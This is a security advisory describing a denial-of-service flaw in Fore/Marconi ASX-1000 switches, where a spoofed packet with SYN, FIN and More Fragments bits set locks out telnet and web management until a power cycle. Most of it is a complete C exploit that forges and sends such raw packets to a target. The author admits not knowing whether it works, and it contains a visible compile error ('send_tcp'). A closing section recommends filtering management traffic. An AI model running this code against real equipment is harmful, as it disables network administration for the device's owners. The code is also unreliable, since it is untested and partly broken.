COMMAND

    Fore/Marconi ASX Switches

SYSTEMS AFFECTED

    Fore/Marconi ASX Switches

PROBLEM

    Keith  Pachulski  found  following.   Condition  was  tested   and
    verified on ASX-1000 switches running ForeThought6.2 software.

    When  an  ASX  switch  receives  a  crafted  packet  with  certain
    attributes in the packet, the ASX switch telnetd and/or httpd will
    enter into a close wait state and refuse telnet and web  interface
    management  connections  until  the  switch  is  reloaded.   Which
    service  to  enter  into  the  close  wait  state depends on which
    service was targeted.   If both telnet  and web are  targeted, the
    switch will become  unresponseive to all  remote management.   The
    switch  will  need  to  be  physically  power  cycled to allow for
    management.  The  attack does not  hinder the switches  ability to
    operate though, it only refuses connections for remote management.

    A combination of SYN-FIN and More Fragments will cause the  remote
    management  service  to  enter  into  a close_wait state until the
    switch is power cycled.

    Attached  is  a  simple  program  that  sets the SYN, FIN and More
    Fragments bits, which causes a DoS on Fore/Marconi ASX switches.

    /*
    This DoS attack was discovered by Keith Pachulski and written by J.K. Garvey. This simple program sets the SYN, FIN and More Fragment bits and sends this crafted packet from a spoofed host to a destined Fore/Marconi ASX switch, which causes it to crash. I have no idea if this works, but it does what Keith Pachulski described.
    */
    
    #include <stdio.h>
    #include <stdlib.h>
    #include <signal.h>
    #include <string.h>
    #include <unistd.h>
    #include <netdb.h>
    #include <netinet/in.h>
    #include <sys/socket.h>
    #include <arpa/inet.h>
    #include <linux/ip.h>
    #include <linux/tcp.h>
    
    #define IP_MF 0x2000		/* More fragment bits */
    
    void                forge (unsigned int, unsigned int, unsigned short);
    unsigned short      in_cksum (unsigned short *, int);
    unsigned int        host_convert (char *);
    void                usage (char *);
    
    main (int argc, char **argv)
    {
	    unsigned int        source_host = 0, dest_host = 0;
	    unsigned short      source_port = 0, dest_port = 80;
	    int                 input;
	    char                desthost[16], srchost[16];
    
	    printf ("\nDenial of Service attack for Fore/Marconi ASX Switches\n");
	    printf
		    ("Found by Keith Pachulski <keithp@corp.ptd.net>\nExploit written by J.K. Garvey <jim@trig.org>\n");
    
	    if (getuid () != 0)
	    {
		    printf
			    ("\nRoot is required. Duh.\n");
		    exit (0);
	    }
    
	    if (argc < 5)
	    {
		    usage (argv[0]);
		    exit (0);
	    }
    
            while ((input = getopt (argc, argv, "s:d:p:")) != -1)
	    {
		    switch (input)
		    {
			    case 's':
				    source_host = host_convert (optarg);
				    strncpy (srchost, optarg, 16);
			    break;
    
			    case 'd':
				    dest_host = host_convert (optarg);
				    strncpy (desthost, optarg, 16);
			    break;
    
			    case 'p':
				    dest_port = atoi(optarg);
			    break;
		    }
	    }
    
	    forge (source_host, dest_host, dest_port);
	    printf ("\nCrafted packet sent!\n");
    
	    exit (0);
    }
    
    void
    forge (unsigned int source_addr, unsigned int dest_addr, unsigned short dest_port)
    {
	    struct send
	    {
		    struct iphdr        ip;
		    struct tcphdr       tcp;
	    }
	    send;
    
	    /* From synhose.c by knight */
	    struct pseudo_header
	    {
		    unsigned int        source_address;
		    unsigned int        dest_address;
		    unsigned char       placeholder;
		    unsigned char       protocol;
		    unsigned short      tcp_length;
		    struct tcphdr       tcp;
	    }
	    pseudo_header;
    
	    int                 ch;
	    int                 send_socket;
	    int                 recv_socket;
	    struct sockaddr_in  sin;
	    char               *input;
    
	    srand ((getpid ()) * (dest_port));
    
	    /* Begin forged IP header */
	    send.ip.ihl = 5;
	    send.ip.version = 4;
	    send.ip.tos = 0;
	    send.ip.tot_len = htons (40);
	    send.ip.id = (int) (255.0 * rand () / (RAND_MAX + 1.0));
    
	    /* Note more fragments bit has been set */
	    send.ip.frag_off = htons (IP_MF);
    
	    send.ip.ttl = 64;
	    send.ip.protocol = IPPROTO_TCP;
	    send.ip.check = 0;
	    send.ip.saddr = source_addr;
	    send.ip.daddr = dest_addr;
    
	    /* Begin forged TCP header */
	    send.tcp.source = 1 + (int) (25.0 * rand () / (RAND_MAX + 1.0));
	    send.tcp.seq = 1 + (int) (10000.0 * rand () / (RAND_MAX + 1.0));
    
	    send.tcp.dest = htons (dest_port);
	    send.tcp.ack_seq = 0;
	    send.tcp.res1 = 0;
	    send.tcp.doff = 5;
    
	    /* Note FIN and SYN flags are set */
	    send.tcp.fin = 1;
	    send.tcp.syn = 1;
    
	    send.tcp.rst = 0;
	    send.tcp.psh = 0;
	    send.tcp.ack = 0;
	    send.tcp.urg = 0;
	    send.tcp.window = htons (512);
	    send.tcp.check = 0;
	    send.tcp.urg_ptr = 0;
    
	    /* Drop our forged data into the socket struct */
	    sin.sin_family = AF_INET;
	    sin.sin_port = send.tcp.source;
	    sin.sin_addr.s_addr = send.ip.daddr;
    
	    /* Now open the raw socket for sending */
	    send_socket = socket (AF_INET, SOCK_RAW, IPPROTO_RAW);
	    if (send_socket < 0)
	    {
		    perror ("Send socket cannot be opened.");
		    exit (1);
	    }
    
	    /* Make IP header checksum */
	    send.ip.check = in_cksum ((unsigned short *) &send_tcp.ip, 20);
    
	    /* Final preparation of the full header */
    
	    /* From synhose.c by knight */
	    pseudo_header.source_address = send.ip.saddr;
	    pseudo_header.dest_address = send.ip.daddr;
	    pseudo_header.placeholder = 0;
	    pseudo_header.protocol = IPPROTO_TCP;
	    pseudo_header.tcp_length = htons (20);
    
	    bcopy ((char *) &send.tcp, (char *) &pseudo_header.tcp, 20);
	    /* Final checksum on the entire package */
	    send.tcp.check = in_cksum ((unsigned short *) &pseudo_header, 32);
	    /* Away we go.... */
	    sendto (send_socket, &send, 40, 0,
		    (struct sockaddr *) &sin, sizeof (sin));
	    close (send_socket);
    }
    
    unsigned short
    in_cksum (unsigned short *ptr, int nbytes)
    {
	    register long       sum;	/* assumes long == 32 bits */
	    u_short             oddbyte;
	    register u_short    answer;	/* assumes u_short == 16 bits */
    
	    sum = 0;
	    while (nbytes > 1)
	    {
		    sum += *ptr++;
		    nbytes -= 2;
	    }
    
	    if (nbytes == 1)
	    {
		    oddbyte = 0;	/* make sure top half is zero */
		    *((u_char *) & oddbyte) = *(u_char *) ptr; /* one byte only */
		    sum += oddbyte;
	    }
    
	    sum = (sum >> 16) + (sum & 0xffff);	/* add high-16 to low-16 */
	    sum += (sum >> 16);	/* add carry */
	    answer = ~sum;		/* ones-complement, then truncate to 16 bits */
	    return (answer);
    }
    
    unsigned int
    host_convert (char *hostname)
    {
	    static struct in_addr i;
	    struct hostent     *h;
    
	    i.s_addr = inet_addr (hostname);
	    if (i.s_addr == -1)
	    {
		    h = gethostbyname (hostname);
		    if (h == NULL)
		    {
			    fprintf (stderr, "cannot resolve %s\n", hostname);
			    exit (0);
		    }
		    bcopy (h->h_addr, (char *) &i.s_addr, h->h_length);
	    }
	    return i.s_addr;
    }
    
    void
    usage (char *progname)
    {
	    printf ("\nusage: %s -s source_host -d destination_host -p destination_port (default is 80)\n\n",
		    progname);
    }

SOLUTION

    Filter all traffic destined to the switches for remote management.
    There  is  no  vendor  supplied  patch  or code upgrade as of this
    writing for the Denial of Service condition.  The vendor has  been
    notified and is aware of this condition in the device.